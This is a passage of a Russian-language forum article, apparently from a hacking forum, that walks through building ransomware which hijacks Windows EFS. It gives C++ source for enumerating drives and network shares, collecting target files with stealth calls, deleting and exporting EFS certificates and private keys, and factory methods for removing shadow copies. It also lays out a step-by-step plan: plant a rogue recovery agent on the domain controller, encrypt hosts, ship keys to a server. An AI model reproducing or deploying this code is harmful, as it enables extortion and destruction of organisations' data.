                    "The drive type cannot be determined";
                     "No Root Dir. The root path is invalid; for example, there is no volume mounted at the specified path.";
                     "Removable. The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.";
                     "Fixed. The drive has fixed media; for example, a hard disk drive or flash drive.";
                     "Remote. The drive is a remote (network) drive.";
                     "CD ROM. The drive is a CD-ROM drive.";
                     "RAM. The drive is a RAM disk.";

            }
            return "unknown drive type";
        }

        [[nodiscard]] auto isEfsSupported() const -> bool
        {
            return m_filesystemType == FILESYSTEM_TYPE::NTFS || m_filesystemType == FILESYSTEM_TYPE::exFAT;
        }

        [[nodiscard]] DiskSpaceInfo getDiskSpaceInfo() const
        {
            return std::make_tuple(m_totalDiskSpace, m_availableDiskSpace, m_usedDiskSpace);
        }
    };

}

#endif //DRIVE_INFO_HPP

Чтобы не захламлять статью кодом рассмотрим только методы получения списка дисков и информации о конкретном диске.
Спойлер: FileSystemHelper
C++: Скопировать в буфер обмена
Код:
          auto FileSystemHelper::getDriveInfo(const std::wstring& driveLetter) -> DriveInfoPtr
        {
            try
            {
                auto driveInfo = std::make_shared<DriveInfo>();
                driveInfo->setDriveLetter(driveLetter);
                driveInfo->setDriveType(getDriveType(driveLetter));
                auto [volumeName, filesystemName, fsType] = getVolumeInformation(driveLetter);
                driveInfo->setFilesystemName(filesystemName);
                driveInfo->setVolumeName(volumeName);
                driveInfo->setFilesystemType(fsType);
                auto [total, available, used] = getDiskSpaceInfo(driveLetter);
                driveInfo->setAvailableDiskSpace(available);
                driveInfo->setUsedDiskSpace(used);
                driveInfo->setTotalDiskSpace(total);
                return driveInfo;
            }
            catch (Exception& e)
            {
                Logger::debug(__FUNCTION__);
                Logger::error(e.what());
                throw;
            }
            catch (std::exception& e)
            {
                Logger::debug(__FUNCTION__);
                Logger::error(e.what());
                throw;
            }
        }
       
        auto FileSystemHelper::getDrivesLetters() -> StringListW
        {
            StringListW result;
            wchar_t szBuffer[1024];
            ::GetLogicalDriveStringsW(1024, szBuffer);
            wchar_t* pch = szBuffer;
            while (*pch)
            {
                std::wstring s;
                s.append(pch);
                result.emplace_back(s);
                pch = &pch[_tcslen(pch) + 1];
            }
            return result;
        }

Ещё, по-хорошему, не помешает знать версию ОС, объем установленной оперативной памяти и количество процессоров. Для этого разра-
ботаем вспомогательный класс SysInfo. Ниже приведен код заголовочного файла, реализация достаточна тривиальна.

Спойлер: SystemInfo
C++: Скопировать в буфер обмена
Код:
#ifndef SYSTEM_INFO_HPP
#define SYSTEM_INFO_HPP

#include <windows.h>
#include "windows_versions.hpp"

namespace tools::sysinfo
{

    class SystemInfo
    {
        WINDOWS_VERSION m_nt_version = WINDOWS_VERSION::UNKNOWN_WINDOWS_VERSION;
        unsigned long m_buildNumber = 0;
        bool m_isWorkStationDetected = false;
        bool m_isServerOsDetected = false;
        bool m_isDomainControllerDetected = false;


    private:
        static auto getOsVersionInfo() -> OSVERSIONINFOEX;

        void determineWindowsVersion();

    public:
        SystemInfo();

        static std::wstring getCurrentUsername();

        [[nodiscard]] auto getWindowsNtVersion() const -> WINDOWS_VERSION;

        void printWindowsVersion() const;

        static std::string getComputerName();

        static std::wstring getComputerNameW();

        static bool isValidUsername(const std::wstring &username);

        static auto isValidCredentials(const std::wstring &username, const std::wstring &password, const std::wstring domain) -> bool;
    };
}

#endif


2.2.4
Перечисление файлов.
Поскольку мы пишем «шкафчик», то нам нужно получить список всех файлов на дисках, затем отфильтровать их, отбросив совсем
древние, системные, а также файлы различного ПО. Согласитесь, нет смысла шифровать их.
Для этого нам понадобится некий инструмент, позволяющий решать поставленную задачу. Назовем его DataCollector. Как и в случае
с пулом потоков определим требования к нему:
• получение списка дисков в системе;
• получение и фильтрация списка файлов для шифрования;
• многопоточная реализация;
• отображение прогресса сбора информации;
• сбор статистики;
Для перечисления файлов на диске воспользуемся старым добрым обходом в ширину.
Многопоточность. У нас есть классный пул потоков. Им и воспользуемся. Как это будет выглядеть. Получим список дисков. Затем
получаем список корневых каталогов на диске. Каждый из них передаем на вход методу, обходящего дерево каталогов в ширину. Затем
этот метод, назовем его collect_data закидываем в пул потоков. Запускаем пул. Собранные файлы скидываем в общую структуру данных,
откуда их будет забирать уже модуль шифрования. Поскольку все операции у нас будут асинхронными, то работыть это будет довольно
быстро. Как только файл прошел фильтры и попал в очередь на шифрование – шифровальщик его оттуда забирает и обрабатывает. А
чтобы не было скучно, то заодно соберем и список шар.
У меня получилась примерно такая реализация:
Спойлер: FileCollector
Заголовочный файл.
C++: Скопировать в буфер обмена
Код:
        #ifndef FILE_COLLECTOR_HPP
        #define FILE_COLLECTOR_HPP
       
        #include <../defines.hpp>
        #include <search/data_collection/data_collector.hpp>
        #include <configuration/search/search_config.hpp>
       
        namespace core::search::filesystem
        {
            using namespace configuration;
           
           
            class FileCollector : public DataCollector
            {
               
                EntrySet m_processingFolders = {};
               
               
               
                EntrySet m_files;
               
                StringSet m_fileTypes = {};
               
                int m_maxRelevance = 365;
               
                std::map<std::string, std::pair<size_t, size_t>> m_statisticMap;
               
                public:
                explicit FileCollector(SearchConfigPtr config
                , EntryProcessingQueue &processingQueue);
               
                void collect_data() override;
               
                void print_statistic() override;
               
                PTree get_data_collection_results() override;
               
                private:
               
                DataContainer get_data_from_root_dir(const DirEntry &rootFolder);
               
                static FsPathStack init_dir_stack(const fs::path &root);
               
                void setup_thread_pool();
               
                void find_shared_folders(const ConfigPtr &config);
               
                void collect_search_folders();
               
                EntrySet get_coarse_filtered_files(FsPathStack &dirStack);
               
                void collect_entry_statistic(const DirEntry &entry);
               
                void collect_data_in_folder(const DirEntry &folder);
               
                void init_common_search_params();
               
                void add_dirs_to_processing(const EntrySet &inputDirs);
            };
        }
        #endif //FILE_COLLECTOR_HPP

Реализация:
C++: Скопировать в буфер обмена
Код:
        namespace core::search::filesystem
        {
            using namespace net_client_utils;
            using namespace logging;
            using namespace network;
            static constexpr auto OPTIONS = std::filesystem::directory_options::skip_permission_denied;
           
            FileCollector::FileCollector(SearchConfigPtr config, EntryProcessingQueue &processingQueue) : DataCollector(std::move(config), processingQueue)
            {
                init_common_search_params();
            }
           
            void FileCollector::collect_data()
            {
                collect_search_folders();
                if (m_processingFolders.empty())
                {
                    const auto errorMessage = "Search folders not found or not specified.\n"
                    "Nowhere to look data.\n"
                    "Please check your configuration and try again";
                    Logger::fatal_error(errorMessage);
                    throw SearchOperationError(errorMessage);
                }
                setup_thread_pool();
               
                for (const auto &folder: m_processingFolders)
                {
                    m_pool.push_task([this, folder]() {
                        collect_data_in_folder(folder);
                    });
                }
                m_pool.wait_for_tasks();
                data_collect_finished();
            }
           
            void FileCollector::collect_search_folders()
            {
                if (m_clientType != CLIENT_TYPE::LIGHT_NETWORK_CLIENT)
                {
                    throw InvalidConfiguration("Unsupported client type");
                }
               
                auto config = dynamic_cast<NetworkClientFileSearchConfig * >(m_searchConfig.get());
                const auto inputDirs = config->get_input_dirs();
                add_dirs_to_processing(inputDirs);
                if (!config->is_search_in_shares_enabled())
                return;
                const auto shareEnumConfig = config->get_share_enum_config();
                find_shared_folders(shareEnumConfig);
            }
           
            void FileCollector::init_common_search_params()
            {
                const auto searchMap = m_searchConfig->get_search_map();
                for (const auto &[directionType, direction]: searchMap)
                {
                    const auto &fileTypes = direction.get_file_types();
                    m_fileTypes.insert(fileTypes.begin(), fileTypes.end());
                }
                //        m_maxRelevance = AlgorithmHelper::get_max_relevance(searchMap);
            }
           
            DataContainer FileCollector::get_data_from_root_dir(const DirEntry &rootFolder)
            {
                std::deque<fs::directory_entry> rootDirs;
                std::deque<fs::directory_entry> files;
                try
                {
                    for (auto it = fs::begin(fs::directory_iterator(rootFolder, OPTIONS)); it != fs::end(fs::directory_iterator(rootFolder, OPTIONS)); ++it)
                    {
                        try
                        {
                            make_stealth();
                            const auto &entry = *it;
                            const auto path = entry.path().wstring();
                           
                            if (entry.is_directory())
                            {
                                rootDirs.emplace_back(entry);
                            } else if (entry.is_regular_file())
                            {
                                files.emplace_back(entry);
                            }
                        }
                        catch (std::exception &e)
                        {
                            Logger::fatal_error(e.what());
                        }
                    }
                }
                catch (std::exception &e)
                {
                    Logger::fatal_error(std::format("Error: {}. Reason: {}.", __FUNCTION__, e.what()));
                }
                return std::make_pair(rootDirs, files);
            }
           
            EntrySet FileCollector::get_coarse_filtered_files(FsPathStack &dirStack)
            {
                EntrySet filteredFiles;
                ScoredEntitiesQueue res;
                while (!dirStack.empty())
                {
                    make_stealth();
                    const auto currentDir = dirStack.top();
                    dirStack.pop();
                    auto [subdirs, files] = get_data_from_root_dir(DirEntry(currentDir));
                    for (const auto &subdir: subdirs)
                    {
                        dirStack.push(subdir);
                    }
                    std::copy_if(std::make_move_iterator(files.begin()), std::make_move_iterator(files.end())
                    , std::inserter(filteredFiles, filteredFiles.end()), [this, &res](const fs::path &path) -> bool {
                        try
                        {
                            auto entry = DirEntry(path);
                           
                            if (FileSystemHelper::is_stop_words_found(entry)) return false;
                            if (!fs::exists(entry)) return false;
                            if (!fs::is_regular_file(entry)) return false;
                           
                            collect_entry_statistic(entry);
                            res.push_back(ScoredEntityFactory::create_filesystem_scored_entity(entry));
                            return true;
                        }
                        catch (std::exception &e)
                        {
                            Logger::error(std::format("cannot add file. reason: {}", e.what()));
                            return false;
                        }
                        catch (...)
                        {
                            return false;
                        }
                    }
                    );
                }
                std::lock_guard<std::mutex> lockGuard(m_processingMutex);
                {
                    m_processingQueue.push_back(res);
                    processing_queue_updated();
                }
               
               
                return filteredFiles;
            }
           
            FsPathStack FileCollector::init_dir_stack(const fs::path &root)
            {
                FsPathStack dirs;
                dirs.push(root);
                return dirs;
            }
           
            void FileCollector::collect_entry_statistic(const DirEntry &entry)
            {
                try
                {
                    const std::string ext{entry.extension().string()};
                    if (ext.empty())
                    return;
                   
                    const size_t size{file_size(entry)};
                    auto &[size_accum, count] = m_statisticMap[ext];
                    size_accum += size;
                    count += 1;
                }
                catch (std::exception &e)
                {
                    Logger::error(std::format(" {} Error: {}", __FUNCTION__ , e.what()));
                }
            }
           
            void FileCollector::find_shared_folders(const ConfigPtr &config)
            {
                auto shareEnumerator = std::make_shared<ShareEnumerator>(config);
                shareEnumerator->enumerate_shared_folders();
               
                auto shares = shareEnumerator->get_shared_folders();
                if (!shares)
                {
                    Logger::warning("shared folders not found");
                    return;
                }
                add_dirs_to_processing(*shares);
            }
           
            void FileCollector::add_dirs_to_processing(const EntrySet &inputDirs)
            {
                try
                {
                    std::copy_if(inputDirs.begin(), inputDirs.end(), std::inserter(m_processingFolders, m_processingFolders.end()), [](
                    const DirEntry &entry) -> bool {
                        try
                        {
                            if (FileSystemHelper::is_stop_words_found(entry)) return false;
                            if (!fs::exists(entry)) return false;
                            if (!fs::is_directory(entry)) return false;
                            return true;
                        }
                        catch (std::exception &error)
                        {
                            Logger::error(std::format("Cannot add dir to processing. Reason: {}", error.what()));
                            return false;
                        }
                        catch (...)
                        {
                            return false;
                        }
                    });
                }
                catch (std::exception &e)
                {
                    Logger::error(std::format("Error in the {}. Reason: {}", __FUNCTION__, e.what()));
                }
            }
           
            void FileCollector::setup_thread_pool()
            {
                m_pool.reset(std::thread::hardware_concurrency());
            }
           
            void FileCollector::collect_data_in_folder(const DirEntry &folder)
            {
                try
                {
                    auto dirStack = init_dir_stack(folder);
                    auto filteredFiles = get_coarse_filtered_files(dirStack);
                }
                catch (std::exception &e)
                {
                    Logger::fatal_error(std::format("Error: {}. Reason: {}.", __FUNCTION__, e.what()));
                }
            }
           
            void FileCollector::print_statistic()
            {
                const auto statisticView = Statistic::get_statistic_view(m_statisticMap);
                Logger::information(statisticView);
            }
           
            PTree FileCollector::get_data_collection_results()
            {
                PTree res;
                const auto statisticView = Statistic::get_statistic_view(m_statisticMap);
                res.add("file_collector_results", statisticView);
                return res;
            }
        }
На этом закончим со вспомогательными методами и перейдем непосредственно к реализации шифровальщика.

3 Шифровальщик
3.1 Архитектура
Как мы выяснили ранее, для подготовки шифрования средствами EFS нам необходимо провести несколько шаманских обрядов. В
частности настроить центр сертификации на контроллере домена. Удалить, если они есть, сертификаты пользователей, которым назначены
функции Data Recovery Agent’ов. Создать свой сертификат DRA. Будем считать, что это уже сделано и мы работаем на подготовленной
машине.
У нас получается примерно следующий алгоритм действий (таки да, я почти полностью продублировал его из введения, но тут мы на
него посмотрим со стороны архитектуры и реализации):
1. обновить групповые политики на хосте, чтобы система узнала о новом DRA;
2. проверить наличие сертификатов EFS в локальном хранилище пользователя. Если они есть – удалить;
3. сгенерировать собственный сертификат, но уже привязанный к нашему DRA;
4. экспортировать сертификат в файл .pfx под паролем (пароль мы захардкодим, у нас же PoC. а не рабочий продукт);
5. не забыть удалить приватный ключ, которым мы шифруем FEK’и вместе с сертификатом;
6. полученный файлик залить куда нибудь на сервер, чтобы когда от нас потребуется расшифровать одну машину – именно это мы и
сделаем; Это возможно сделать даже без DRA, если я правильно понял. Надо проверить потом.
7. сделать свое грязное дело – то бишь зашифровать файлы;
8. удалить сертификат из хранилища;
9. почистить кэш хранилища сертификатов, чтобы, что называется, наверняка.
10. после завершения шифрования всех хостов – удалить сертификат DRA с контроллера домена, предварительно экспортируя его в
надежное место – на тот же сервер, куда и остальные ключи, например. Последний пункт вызывает много вопросов, на которые я
не готов ответить, т.к. продукт был набросан на коленке за пару вечеров и мне жаль тратить время на проверку всех гипотез.
Опять применим «метод пристального всматривания» и обнаружим, что по сути дела весь алгоритм это некая линейная после-
довательность действий. Причем каждое действие мы можем выполнить фактически независимо от других. Сюда прямо таки просится
реализация шаблона проектирования «Command». То есть каждое действие – это команда, которую мы отдаем и ожидаем завершения ее
выполнения.
А для непосредственного шифрования файлов мы применим паттерн «Стратегия», который позволяет менять алгоритмы обработки
данных на лету. «Фокус-покус-тру-ля-ля» – и мы вместо EFS шифрования можем использовать любое другое. Например, если обнаружим,
что файловая система не поддерживает EFS. Теперь дело осталось за малым – реализация. Все этапы подготовки можно реализовать с
помощью cipher.exe – это вариант для ленивых. Он работает. Кому интересно – читайте документацию. А мы пойдем другим путем и будем
работать на уровне WinAPI.
Поехали.

3.2 Реализация
Для начала нам понадобится спроектировать наши классы. Во всех книжках говорится, что команда должна реализовать единствен-
ный метод интерфейса ICommand – execute. Ну и у каждой команды есть свой набор параметров, количество и типы которых заранее
неизвестны. Поэтому мы их тоже вынесем в отдельное семейство классов.

3.2.1 ICommand interface
Итого, у нас получилась следующая картина. Интерфейс ICommand – простой до неприличия.

Спойлер: ICommand
C++: Скопировать в буфер обмена
Код:
#ifndef ICOMMAND_HPP
#define ICOMMAND_HPP

#include <string>
#include <memory>
#include <utility>
#include "abstract_command_executor.hpp"
#include "core/commands/command_line/command_params/abstract_command_params.hpp"

namespace core::commands
{
    using namespace command_line;

    class ICommand;

    using CommandPtr = std::shared_ptr<ICommand>;

    class ICommand
    {
    protected:
        const COMMAND_TYPE m_commandType = COMMAND_TYPE::UNKNOWN_COMMAND;
        const std::string m_commandName;
        CommandExecutorPtr m_executor;
        CommandParamsPtr m_commandParams;
        std::string m_lastError;
        bool m_isInteractive = false;
    public:
        ICommand(std::string commandName, CommandParamsPtr commandParams, const COMMAND_TYPE mCommandType)
                : m_commandType(mCommandType)
                  , m_commandName(std::move(commandName))
                  , m_commandParams(std::move(commandParams))
        {}

        virtual bool execute()
        {
            return m_executor->execute();
        }

        virtual void printHelp() = 0;

        virtual const std::string &lastError()
        {
            return m_executor->getLastError();
        }

        [[nodiscard]] bool isInteractive() const
        {
            return m_isInteractive;
        }

        void setInteractive(bool isInteractive)
        {
            m_isInteractive = isInteractive;
        }
    };
}

#endif

Параметры команд я тут приводить не буду, дабы не захламлять статью. Это обычная обертка. Гораздо интереснее посмотреть на
реализацию самих команд. Тут вот какой момент. На текущем этапе я не знаю каким способом я буду выполнять команду. В моем случае
это либо использование cipher.exe, либо напрямую через WinAPI. Поэтому. Команду будет выполнять отдельный класс, который мы
поместим внутри нее. Обзовем его AbstractCommandExecutor. Вот он и будет отвечать за конкретную реализацию. Не понравится –
напишем еще один. Сравним результаты, а потом уже во время выполнения сможем вызывать нужного исполнителя.
Кто-то скажет: "а нахрена"? Ответ простой. Масштабируемость и гибкость. К тому же, у меня нет здесь цели реализовать полноценный
локер. Для меня это академическая задача. И основная цель статьи – показать, что паттерны – это хорошо, а грамотно спроектированная
архитектура – еще лучше.
Продолжим.

Спойлер: CommandExecutor
C++: Скопировать в буфер обмена
Код:
#ifndef ABSTRACT_COMMAND_EXECUTOR_HPP
#define ABSTRACT_COMMAND_EXECUTOR_HPP

#include <memory>
#include <string>

namespace sakura::core::commands
{

    class AbstractCommandExecutor;

    using CommandExecutorPtr = std::unique_ptr<AbstractCommandExecutor>;

    class AbstractCommandExecutor
    {
    protected:
        std::string m_lastError;

        bool m_isInteractive = false;
    public:
        virtual ~AbstractCommandExecutor() = default;



        virtual bool execute() = 0;


        [[nodiscard]] const std::string &getLastError() const
        {
            return m_lastError;
        }

        [[nodiscard]] bool isInteractive() const
        {
            return m_isInteractive;
        }

        void setInteractive(bool isInteractive)
        {
            m_isInteractive = isInteractive;
        }
    };

}

#endif

Еще нам понадобится фабрика, создающая команды на основе переданных параметров. Выглядеть она будет примерно так:
Спойлер: CommandFactory
C++: Скопировать в буфер обмена
Код:
#ifndef COMMAND_FACTORY_HPP
#define COMMAND_FACTORY_HPP


namespace core::commands
{
    using namespace command_line;

    class CommandFactory
    {
    public:
        static auto createExportEfsCertificateCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createFlushCacheCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createRemoveShadowCopiesCommand(const CommandParamsPtr& params) -> CommandPtr;

        static auto createGenerateEfsCertificateCommand(const CommandParamsPtr& params) -> CommandPtr;

        static auto createImportEfsCertificateCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createRemoveEfsCertificateCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createCleanDiskCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createDecryptCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createEncryptCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createEncryptFolderCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createDecryptFolderCommand(const CommandParamsPtr& params) -> CommandPtr;

        static auto createMountFolderCommand(const CommandParamsPtr& params) -> CommandPtr;
    };
}

#endif
Реализация методов однотипная. Приведу парочку.
C++: Скопировать в буфер обмена
Код:
namespace core::commands
{

    CommandPtr CommandFactory::createExportEfsCertificateCommand(CommandParamsPtr params)
    {
        return std::make_shared<ExportEfsCertificateCommand>(std::move(params));
    }

    CommandPtr CommandFactory::createFlushCacheCommand(CommandParamsPtr params)
    {
        return std::make_shared<FlushCacheCommand>(std::move(params));
    }
}
Теперь приступим к реализации конкретных команд.
Поехали.
3.3 Модуль операций над сертификатами
Небольшое лирическое отступление. Я решил вынести все операции с сертификатами в отдельный класс, дабы упростить реализацию
самих исполнителей и иметь возможность повторного использования кода. Как известно, самое сложное в работе программиста – это
именование переменных. К тому моменту я уже довольно устал, поэтому назвал его, класс в смысле, CertificateManager, не смотря на то,
что это самое идиотское название, которое можно было придумать. А переделывать мне лень. Тем более, что вряд ли этот код пойдет
дальше этой статьи.
Ниже приведен его код полностью, т.к. в нем реализованы все основные операции с сертификатами.
Заголовочный файл.
Спойлер: CertManager
C++: Скопировать в буфер обмена
Код:
#ifndef CERTIFICATE_MANAGER_HPP
#define CERTIFICATE_MANAGER_HPP

#include <windows.h>
#include <string>
#include <iostream>

#include <string>
#include <filesystem>
namespace fs = std::filesystem;
namespace tools::cipher
{

    class CertificateManager
    {
    private:
        static auto indicateKindOfProperty(DWORD propertyId) -> void;

        static auto enumAndPrintCertProperties(PCCERT_CONTEXT pCertContext) -> void;

        static auto writePassword2File(const fs::path& passwordFilename, const std::string& password) -> bool;
    public:

        static auto enumCertificateInStore() -> std::size_t;

        static auto deleteCertificatesFromStore() -> bool;

        static auto generateEfsCertificate() -> bool;

        static auto exportEfsCertificate(const std::filesystem::path &certFilename, const std::filesystem::path &passwordFilename,
                                         const std::string& password) -> bool;

        static auto importEfsCertificate(const fs::path &importPath) -> bool;

        static auto flushCertCache() -> bool;

    };

} // cipher

#endif //CERTIFICATE_MANAGER_HPP
и реализация
Спойлер: CertificateManager implementation
C++: Скопировать в буфер обмена
Код:
#include "certificate_manager.hpp"
#include "cipher_helper.hpp"
#include "tools/string_helper.hpp"
#include "tools/exceptions/exception.hpp"
#include "tools/exceptions/error_handler.hpp"
#include "tools/sysinfo/system_info.hpp"
#include <windows.h>
#include <wincrypt.h>
#include <string>
#include <fstream>
#include <algorithm>
#include "tools/exceptions/error_handler.hpp"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "cryptui.lib")

#define MY_ENCODING_TYPE  (PKCS_7_ASN_ENCODING | X509_ASN_ENCODING)

namespace tools::cipher
{
    using namespace std::string_view_literals;
    using namespace std::string_literals;
    using namespace exceptions;
    using namespace sysinfo;

    auto CertificateManager::indicateKindOfProperty(const DWORD propertyId) -> void
    {
        switch (propertyId)
        {
            case CERT_FRIENDLY_NAME_PROP_ID:
            {
                printf("Display name: ");
                break;
            }
            case CERT_SIGNATURE_HASH_PROP_ID:
            {
                printf("Signature hash identifier ");
                break;
            }
            case CERT_KEY_PROV_HANDLE_PROP_ID:
            {
                printf("KEY PROVE HANDLE");
                break;
            }
            case CERT_KEY_PROV_INFO_PROP_ID:
            {
                printf("KEY PROV INFO PROP ID ");
                break;
            }
            case CERT_SHA1_HASH_PROP_ID:
            {
                printf("SHA1 HASH identifier");
                break;
            }
            case CERT_MD5_HASH_PROP_ID:
            {
                printf("md5 hash identifier ");
                break;
            }
            case CERT_KEY_CONTEXT_PROP_ID:
            {
                printf("KEY CONTEXT PROP identifier");
                break;
            }
            case CERT_KEY_SPEC_PROP_ID:
            {
                printf("KEY SPEC PROP identifier");
                break;
            }
            case CERT_ENHKEY_USAGE_PROP_ID:
            {
                printf("ENHKEY USAGE PROP identifier");
                break;
            }
            case CERT_NEXT_UPDATE_LOCATION_PROP_ID:
            {
                printf("NEXT UPDATE LOCATION PROP identifier");
                break;
            }
            case CERT_PVK_FILE_PROP_ID:
            {
                printf("PVK FILE PROP identifier ");
                break;
            }
            case CERT_DESCRIPTION_PROP_ID:
            {
                printf("DESCRIPTION PROP identifier ");
                break;
            }
            case CERT_ACCESS_STATE_PROP_ID:
            {
                printf("ACCESS STATE PROP identifier ");
                break;
            }
            case CERT_SMART_CARD_DATA_PROP_ID:
            {
                printf("SMART_CARD DATA PROP identifier ");
                break;
            }
            case CERT_EFS_PROP_ID:
            {
                printf("EFS PROP identifier ");
                break;
            }
            case CERT_FORTEZZA_DATA_PROP_ID:
            {
                printf("FORTEZZA DATA PROP identifier ");
                break;
            }
            case CERT_ARCHIVED_PROP_ID:
            {
                printf("ARCHIVED PROP identifier ");
                break;
            }
            case CERT_KEY_IDENTIFIER_PROP_ID:
            {
                printf("KEY IDENTIFIER PROP identifier ");
                break;
            }
            case CERT_AUTO_ENROLL_PROP_ID:
            {
                printf("AUTO ENROLL identifier. ");
                break;
            }
            default:
                break;
        }

    }

    auto CertificateManager::enumAndPrintCertProperties(PCCERT_CONTEXT pCertContext) -> void
    {

        DWORD cbData = 0;
        DWORD dwPropId = 0;

        while ((dwPropId = CertEnumCertificateContextProperties(pCertContext, dwPropId)))
        {
            indicateKindOfProperty(dwPropId);
            if (!CertGetCertificateContextProperty(pCertContext, dwPropId, nullptr, &cbData))
            {
                throw CertStoreException("Call #1 to GetCertContextProperty failed.");
            }
        }

    }

    auto CertificateManager::enumCertificateInStore() -> std::size_t
    {
        std::size_t certCount = 0;

        HCERTSTORE hCertStore;
        PCCERT_CONTEXT pCertContext = nullptr;

        if (const auto storeName = L"MY"; !((hCertStore = CertOpenSystemStore(NULL, storeName))))
        {
            throw CertStoreException("The store was not opened.");
        }
        while ((pCertContext = CertEnumCertificatesInStore(hCertStore, pCertContext)))
        {
            ++certCount;
        }
        CertFreeCertificateContext(pCertContext);
        CertCloseStore(hCertStore, 0);

        return certCount;
    }


    auto CertificateManager::deleteCertificatesFromStore() -> bool
    {

        HANDLE hStoreHandle;
        PCCERT_CONTEXT pCertContext = nullptr;
        PCCERT_CONTEXT pDupCertContext;
        if (!((hStoreHandle = CertOpenSystemStore(NULL, L"MY"))))
        {
            throw RemoveCertificatesException("The store was not opened.");
        }

        while ((pCertContext = CertEnumCertificatesInStore(hStoreHandle, pCertContext)))
        {
            if (!((pDupCertContext = CertDuplicateCertificateContext(pCertContext))))
            {
                throw RemoveCertificatesException("Duplication of the certificate pointer failed.");
            }
            if (!CertDeleteCertificateFromStore(pDupCertContext))
            {
                throw RemoveCertificatesException("The deletion of the certificate failed.\n");
            }
        }
        CertCloseStore(hStoreHandle, 0);


        return true;
    }

    auto CertificateManager::generateEfsCertificate() -> bool
    {
        system("cipher.exe /k");
        Sleep(3000);
        return enumCertificateInStore() == 1;
    }


    auto CertificateManager::exportEfsCertificate(const fs::path &certFilename
                                                  , const fs::path &passwordFilename
                                                  , const std::string &password) -> bool
    {
        if (const auto hStore = CertOpenSystemStore(NULL, L"MY"); hStore != nullptr)
        {
            int certsCount = 0;
            PCCERT_CONTEXT certContext = nullptr;
            while ((certContext = CertEnumCertificatesInStore(hStore, certContext)) != nullptr)
                certsCount++;

            if (certsCount == 0)
                throw ExportEfsCertificatesException("a cert store empty");

            CRYPT_DATA_BLOB pfxBlob;
            pfxBlob.pbData = nullptr;
            pfxBlob.cbData = 0;

            const auto wPassword = StringHelper::stringToWideString(password);
            if (PFXExportCertStoreEx(hStore, &pfxBlob, wPassword.c_str(), nullptr, EXPORT_PRIVATE_KEYS) == FALSE)
                throw ExportEfsCertificatesException(ErrorHandler::getLastErrorMessage());

            if ((pfxBlob.pbData = static_cast<unsigned char *>(LocalAlloc(LPTR, pfxBlob.cbData))) == nullptr)
                throw std::bad_alloc();

            if (PFXExportCertStoreEx(hStore, &pfxBlob, wPassword.c_str(), nullptr, EXPORT_PRIVATE_KEYS) == FALSE)
                throw ExportEfsCertificatesException(ErrorHandler::getLastErrorMessage());

            const auto certFilenameW = certFilename.wstring();
            const auto out = CreateFile(certFilenameW.c_str(), GENERIC_READ | GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0);
            if (!out)
                throw IOException("can't write certificate to file");

            DWORD rl;
            WriteFile(out, pfxBlob.pbData, pfxBlob.cbData, &rl, nullptr);
            CloseHandle(out);
            LocalFree(pfxBlob.pbData);
            CertCloseStore(hStore, 0);
        }

        if (!writePassword2File(passwordFilename.string(), password))
        {
            throw FileNotFoundException("Can't write password to file");
        }
        return true;
    }

    auto CertificateManager::writePassword2File(const fs::path &passwordFilename, const std::string &password) -> bool
    {
        std::ofstream passwordFile(passwordFilename);
        auto copy = password;
        std::reverse(copy.begin(), copy.end());
        passwordFile << copy;
        passwordFile.close();
        return fs::exists(passwordFilename);
    }

    auto CertificateManager::importEfsCertificate(const fs::path &importPath) -> bool
    {
        if (!CipherHelper::isValidCertificatePath(importPath))
            throw DirectoryNotFoundException(importPath.string());
        const auto password = CipherHelper::getPasswordFromFile(importPath);
        const auto filename = CipherHelper::generateCertificateFilename(importPath);
        const auto wFilename = filename.wstring();
        FILE* pFile = nullptr;
        BYTE sFileBuf[64 * 1024] = {0};
        // open cert file for local cert
        if (_wfopen_s(&pFile, wFilename.c_str(), L"rb"))
        {
            throw IOException("can't read a certificate " + importPath.string());
        }

        // read local cert into *ppLocalCert, allocating memory
        fread(sFileBuf, sizeof(sFileBuf), 1, pFile);
        fclose(pFile);

        CRYPT_DATA_BLOB blob;
        blob.cbData = sizeof(sFileBuf);
        blob.pbData = sFileBuf;
        const HCERTSTORE hCertStore = PFXImportCertStore(&blob, password.c_str(), CRYPT_EXPORTABLE);
        if (hCertStore == nullptr)
            throw ImportCertificateException(ErrorHandler::getLastErrorMessage());
        const PCCERT_CONTEXT ctx = CertEnumCertificatesInStore(hCertStore, nullptr);
        const HCERTSTORE rootStore = CertOpenSystemStore(NULL, L"MY");
        CertAddCertificateContextToStore(rootStore, ctx, CERT_STORE_ADD_REPLACE_EXISTING, nullptr);
        CertCloseStore(hCertStore, 0);
        CertCloseStore(rootStore, 0);
        return true;
    }

    auto CertificateManager::flushCertCache() -> bool
    {
        system("cipher.exe /FLUSHCACHE");
        return true;
    }

} // cipher
Как видно из кода, где то я использовал вызовы WinAPI/CryptoAPI, а где-то мне было лень разбираться и я самым наглым образом эксплуатировал cipher.exe

3.4 Команды выполнения операций над сертификатами
Поскольку все операции над сертификатами мы вынесли в отдельный класс, то реализация команд будет в несколько строчек.

3.4.1 ExportEfsCertificateCommand

Спойлер: ExportEfsCertCommand
C++: Скопировать в буфер обмена
Код:
#ifndef EXPORT_EFS_CERTIFICATE_COMMAND_HPP
#define EXPORT_EFS_CERTIFICATE_COMMAND_HPP

#include "core/commands/abstract_command.hpp"
#include "core/commands/command_line/command_params/abstract_command_params.hpp"
#include "core/commands/abstract_command_executor.hpp"

namespace core::commands
{
    using namespace command_line;


    class ExportEfsCertificateCommand final
        : public ICommand
    {
        class Executor final
            : public AbstractCommandExecutor
        {
            const fs::path m_exportPath;
            fs::path m_passwordFilename;
            fs::path m_certFilename;

        public:
            explicit Executor(fs::path exportPath);
            auto execute() -> bool override;
        };

        fs::path m_exportPath;


    public:
        explicit ExportEfsCertificateCommand(CommandParamsPtr params);

        auto execute() -> bool override;

        auto printHelp() -> void override;

    };
}

#endif
реализация:
Спойлер: ExportEfsCertCommand impl
C++: Скопировать в буфер обмена
Код:
#include "export_efs_certificate_command.hpp"
#include <utility>
#include "core/commands/command_line/command_params/certificate_command_params/export_cert_command_params.hpp"
